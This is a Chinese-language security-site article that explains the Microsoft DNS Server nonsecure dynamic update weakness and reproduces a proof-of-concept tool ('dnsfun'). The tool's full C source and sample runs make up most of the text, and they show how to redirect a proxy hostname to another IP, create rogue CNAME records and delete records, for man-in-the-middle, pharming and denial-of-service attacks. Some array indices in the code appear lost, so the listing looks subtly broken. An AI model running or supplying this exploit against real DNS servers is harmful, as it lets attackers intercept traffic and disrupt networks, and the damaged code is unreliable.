首页 网络安全 安全学院 查看内容

针对微软DNS Server动态升级漏洞的解析

2009-2-12 04:26 527 0

摘要: 在系统设定下,大多数微软DNS服务的每个DNS记录都整合了允许非安全的动态升级的动态目录索引。这项功能能够允许远程用户创建修改和删除DNS记录。 这是基于此的几个攻...
关键词: nbsp result printf DNS Record argv Credentials STATUS break Data

在系统设定下,大多数微软DNS服务的每个DNS记录都整合了允许非安全的动态升级的动态目录索引。这项功能能够允许远程用户创建修改和删除DNS记录。 这是基于此的几个攻击说明: + MITM 攻击:修改DNS记录。 这种攻击方式是最可靠的,同时也允许我们为许多Windows软件开发自动升级和同时修改二进制数。 + 服务的拒绝:通过删除修改关键性的DNS记录。 + Pharm:类似于MITM攻击,可以使许多DNS记录中毒。 DNS爱好者们就是利用那些薄弱的软件设置环节进行对DNS记录的修改。这里有些做过的例子,请大家参考:   D:\DNSfun>ping -n 1 FakeProxy.fooooo.com Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos:        D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q  proxy.mydomain -u 66.6.66.6 Microsoft Dynamic DNS Updates - Proof of Concept http://www.514.es - (c) 2007 Andres Tarasco Acu?a        [+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1) [+] Host proxy.mydomain resolved as 192.168.1.200 [+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6 [+] Trying Nonsecure Dynamic Update... [?] Host Updated. Checking...(0) [+] Host proxy.mydomain resolved as 66.6.66.6 D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es Microsoft Dynamic DNS Updates - Proof of Concept http://www.514.es - (c) 2007 Andres Tarasco Acu?a [+] Gathering Credentials.. [+] Creating DNS CName Record for atarasco.mydomain.com (www.514.es) [+] Host Created. Rechecking Record... [+] Host atarasco.mydomain.com resolved as CNAME www.514.es 这虽然已经不是一个新的漏洞,但是很多人还是没有发现利用它。检查惯用函数,你会发现很多新功能:   */ #include <stdio.h> #include <winsock2.h> #include <Windns.h> #pragma comment(lib,"Dnsapi.lib") #pragma comment(lib, "ws2_32.lib") char TargetDnsServer[256]=""; // -s char TargetDnsRecord[256]=""; // -q char NewIpAddress[256]="";    // -i char DeleteDnsRecord[256]=""; //-d char CreateDnsRecord[256]=""; WORD CreationType=DNS_TYPE_A; #define DELETERECORD   (DeleteDnsRecord[0]!='\0') #define UPDATERECORD ( (TargetDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') ) #define CREATERECORD ( (CreateDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') ) #define QUERYRECORD    (TargetDnsRecord[0]!='\0') #define _DBG_ #undef _DBG_ void usage(char *argv[]); DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers) {       DNS_STATUS status;    WORD type= DNS_TYPE_ANY;    DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME |DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT | DNS_QUERY_TREAT_AS_FQDN;    PVOID* reserved=NULL;    DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));    DNS_RECORDA *result;    IN_ADDR ipaddr;    int i;    int count=0;               if (!name) {       return (NULL);    } else {       memset(records,'\0',sizeof(DNS_RECORDA));       status = DnsQuery_A( name,          //PCWSTR pszName,          type,          //WORD wType,          fOptions,      //DWORD fOptions,          servers,       //PIP4_ARRAY aipServers,          (DNS_RECORDA**)&records,    //PDNS_RECORD* ppQueryResultsSet,          reserved ); //PVOID* pReserved              if (status == ERROR_SUCCESS)       {          fflush(stdout);          result=records;          do { #ifdef _DBG_                 printf("[+] Record %i---\n",count);             count++;             printf("[+] DNS  wDataLength %i\n",result->wDataLength);             printf("[+] DNS Flags DW: %x\n",result->Flags.DW);             printf("[+] DNS Flags S.Section: %x\n",result->Flags.S.Section);             printf("[+] DNS Flags S.Delete: %x\n",result->Flags.S.Delete);             printf("[+] DNS Flags S.CharSet: %x\n",result->Flags.S.CharSet);             printf("[+] DNS Flags S.Unused: %x\n",result->Flags.S.Unused);             printf("[+] DNS Flags S.Reserved: %x\n",result->Flags.S.Reserved); #endif             switch (result->wType) {             case DNS_TYPE_A:                ipaddr.S_un.S_addr = (result->Data.A.IpAddress);                printf("[+] Host %s resolved as %s\n", result->pName,inet_ntoa(ipaddr));                break;             case DNS_TYPE_NS:                printf("[+] Domain %s Dns Servers: %s\n",result->pName,result->Data.Ns.pNameHost);                break;             case DNS_TYPE_CNAME:                printf("[+] Host %s resolved as CNAME %s\n", result->pName,result->Data.Cname.pNameHost);                //DnsQueryA(result->Data.Cname.pNameHost,servers);                break;                            case DNS_TYPE_SOA:                printf("[+] SOA Information: PrimaryServer: %s\n",result->Data.Soa.pNamePrimaryServer);                printf("[+] SOA Information: Administrator: %s\n",result->Data.Soa.pNameAdministrator);                printf("[+] SOA Information: SerialNo %x - Refresh %i - retry %i - Expire %i - DefaultTld %i\n",                   result->Data.Soa.dwSerialNo,                   result->Data.Soa.dwRefresh,                   result->Data.Soa.dwRetry,                   result->Data.Soa.dwExpire,                   result->Data.Soa.dwDefaultTtl);                break;                            case DNS_TYPE_MX:                printf("[+] %s MX Server resolved as %s (Preference %i)\n", result->pName,result->Data.Mx.pNameExchange, result->Data.Mx.wPreference);                break;             case DNS_TYPE_TEXT:                printf("[+] Text: %i bytes\n",result->Data.Txt.dwStringCount); //:?                break;             case DNS_TYPE_SRV:                printf("[+] SRV Record. NameTarget %s ",result->Data.Srv.pNameTarget);                printf("(Priority %i - Port %i - Weigth: %i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight);                //printf("[+] Resource Pad %i \n",result->Data.Srv.Pad);                break;                            default:                printf("[-] DnsQuery returned unknown wtype %x\n",result->wType);                break;             }             result=result->pNext;          } while (result!=NULL);       } else {          if (status==9003) printf("[-] Record not found\n");          else printf("[-] Query Error: %i - %i\n",status,GetLastError());          exit(-1);       }    }    return records; } /***********************************************************************************************/ int main(int argc, char *argv[]) {       HANDLE creds;    DNS_RECORDA *result;    DNS_STATUS status;       HANDLE ContextHandle;    DWORD Options=DNS_UPDATE_SECURITY_ON;    PVOID pReserved=NULL;    IN_ADDR ipaddr;    IP4_ARRAY *servers=NULL;    SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL;    WORD i;           printf(" Microsoft Dynamic DNS Updates - Proof of Concept\n");    printf(" http://www.514.es - (c) 2007 Andres Tarasco Acu?a\n\n");    if (argc==1) usage(argv);  //Init Credentials Struct    Credentials = (SEC_WINNT_AUTH_IDENTITY_A *)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A));    memset(Credentials,'\0',sizeof(SEC_WINNT_AUTH_IDENTITY_A));    Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;      for(i=1;i<argc;i++) {       if ( (argv[0]=='-') ) {          switch (argv[1]) {          case 's':          case 'S':             strcpy(TargetDnsServer,argv[i+1]);             servers=(PIP4_ARRAY)malloc(sizeof(IP4_ARRAY));             servers->AddrCount=1;             servers->AddrArray[0]=inet_addr(TargetDnsServer);             break;          case 'D':          case 'd':             strcpy(DeleteDnsRecord,argv[i+1]);             break;                              case 'q':          case 'Q':             strcpy(TargetDnsRecord,argv[i+1]);             break;          case 'u':          case 'U':             strcpy(NewIpAddress,argv[i+1]);             break;          case 'c':          case 'C':             strcpy(CreateDnsRecord,argv[i+1]);             if (NewIpAddress[0]=='\0') strcpy(NewIpAddress,"127.0.0.1");             if (argv[2]!='\0') {                switch (argv[2]) {                case 'c': CreationType=DNS_TYPE_CNAME;                   break;                case 'a': CreationType=DNS_TYPE_A;                   break;                }             }             break;                       /*             case 'f':                CreateThread( NULL,0,HttpRelayToProxy,(LPVOID) &i,0,&dwThreadId);                break;             case 'au': //Uauthorization serName             Credentials->User=argv[i+1]; Credentials->UserLength=strlen(argv[i+1]);   break;             case 'ap':             Credentials->Password=argv[i+1];Credentials->PasswordLength=strlen(argv[i+1]); break;             case 'ad':             Credentials->Domain=argv[i+1]; Credentials->DomainLength=strlen(argv[i+1]);  break;                 */          default:             printf("[-] Invalid argument: %s\n",argv);             usage(argv);             break;          }          i++;                   } else usage(argv);    }       printf("[+] Gathering Credentials..\n");    //http://msdn2.microsoft.com/en-us/library/ms682007.aspx    if (Credentials->UserLength==0) {       status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context with default Credentials    } else {       status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context with Custom Credentials    }       if (status == ERROR_SUCCESS) {                 if (CREATERECORD) {                   result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA));          memset(result,'\0',sizeof(DNS_RECORDA));          result->wType=CreationType; //DNS_TYPE_A by default          if (CreationType==DNS_TYPE_CNAME) {             printf("[+] Creating DNS CName Record for %s (%s)\n",CreateDnsRecord,NewIpAddress);             result->Data.Cname.pNameHost=NewIpAddress;          } else {             printf("[+] Creating DNS A Record for %s (%s)\n",CreateDnsRecord,NewIpAddress);             result->Data.A.IpAddress=inet_addr(NewIpAddress);          }          result->pName=CreateDnsRecord;     result->wDataLength=4;          result->Flags.S.Section=1;          result->Flags.S.CharSet=DnsCharSetAnsi;          result->pNext=NULL;                status=DnsModifyRecordsInSet_A(result,  //add record             NULL, //delete record             Options,             ContextHandle,             servers,             NULL);          if (status ==ERROR_SUCCESS) {             printf("[+] Host Created. Rechecking Record...\n");             DnsRecordListFree(result,DnsFreeRecordList);             result=DnsQueryA(CreateDnsRecord,servers);          } else {             printf("[-] Error: Unable to create  %s (%i)\n",CreateDnsRecord,status);          }             } else if (DELETERECORD) {                  printf("[+] Trying to resolve Host: %s before deleting\n",DeleteDnsRecord);          result=DnsQueryA(DeleteDnsRecord,servers);          if (result!=NULL) {             printf("[+] Trying to Delete Record. Are You Sure? (Y/N)...");             i=getchar(); if (i!='y') return(-1);             printf("[+] Deleting record %s\n",DeleteDnsRecord);               status=DnsModifyRecordsInSet_A(NULL,  //add record                result, //delete record                Options,                ContextHandle,                servers,                NULL);                   if (status ==ERROR_SUCCESS) {                printf("[+] Host Deleted. Rechecking Record %s...\n",DeleteDnsRecord);                DnsRecordListFree(result,DnsFreeRecordList);                result=DnsQueryA(DeleteDnsRecord,servers);             } else {                printf("[-] Error: Unable to Delete %s\n",DeleteDnsRecord);             }          } else {             printf("[-] Host %s not found\n",DeleteDnsRecord);          }       } else if (UPDATERECORD) {          //         exit(1);          printf("[+] Trying to resolve Host: %s before updating\n",TargetDnsRecord);          result=DnsQueryA(TargetDnsRecord,servers);          if (result->wType==DNS_TYPE_A ) {             printf("[+] Trying to update record. Are You Sure? (Y/N)...");             i=getchar(); if (i!='y') return(-1);             result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns record             ipaddr.S_un.S_addr = (result->Data.A.IpAddress);             printf("[+] Trying to set ip address of the host %s to %s \n", TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr));             printf("[+] Trying to Modify Record...\n");             status=DnsReplaceRecordSetA(result,       Options, //Attempts nonsecure dynamic update. If refused, then attempts secure dynamic update.                ContextHandle,                servers,//pServerList,                NULL);//pReserved             if (status ==ERROR_SUCCESS) {                printf("[+] Host Updated. Rechecking Record...\n");                DnsRecordListFree(result,DnsFreeRecordList);                result=DnsQueryA(TargetDnsRecord,servers);             } else {                printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord);             }          } else {             printf("[-] Unable to Update Record (Type %x)\n",result->wType);             }       } else if (QUERYRECORD) {          printf("[+] Query Information for host %s...\n",TargetDnsRecord);          result=DnsQueryA(TargetDnsRecord,servers);          DnsRecordListFree(result,DnsFreeRecordList);               } else {          printf("[-] Unknown Options\n");          return(-1);       }              } else {       printf("[-] Error Calling DnsAcquireContextHandle\n");      }    return (1); } /****************************************************************************/ void usage(char *argv[]) {      printf(" Usage:\n");    printf("\t%s\t -[s]d|c|q <options>\n",argv[0]);    printf(" Details:\n");      printf("\t%s\t -s  ip        (dns Server (optional))\n",argv[0]);    printf("\t%s\t -d  fqdn      (Delete dns record)\n",argv[0]);    printf("\t%s\t -q  fqdn      (Query  dns record)\n",argv[0]);    printf("\t%s\t -c[a|c] ip    (Create A or CName record (default A))\n",argv[0]);    printf("\t%s\t -u  ip|fqdn   (Update dns record (requires -q or -c))\n",argv[0]);      printf("\n Examples:\n");    printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates record)\n",argv[0]);    printf("\t%s -s 10.0.0.1 -d foo.mydomain.com      (delete foo.mydomain.com record)\n",argv[0]);    printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)\n",argv[0]);    printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)\n",argv[0]);    printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain             (Query for srv record)\n",argv[0]);    exit(0); } /****************************************************************************/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部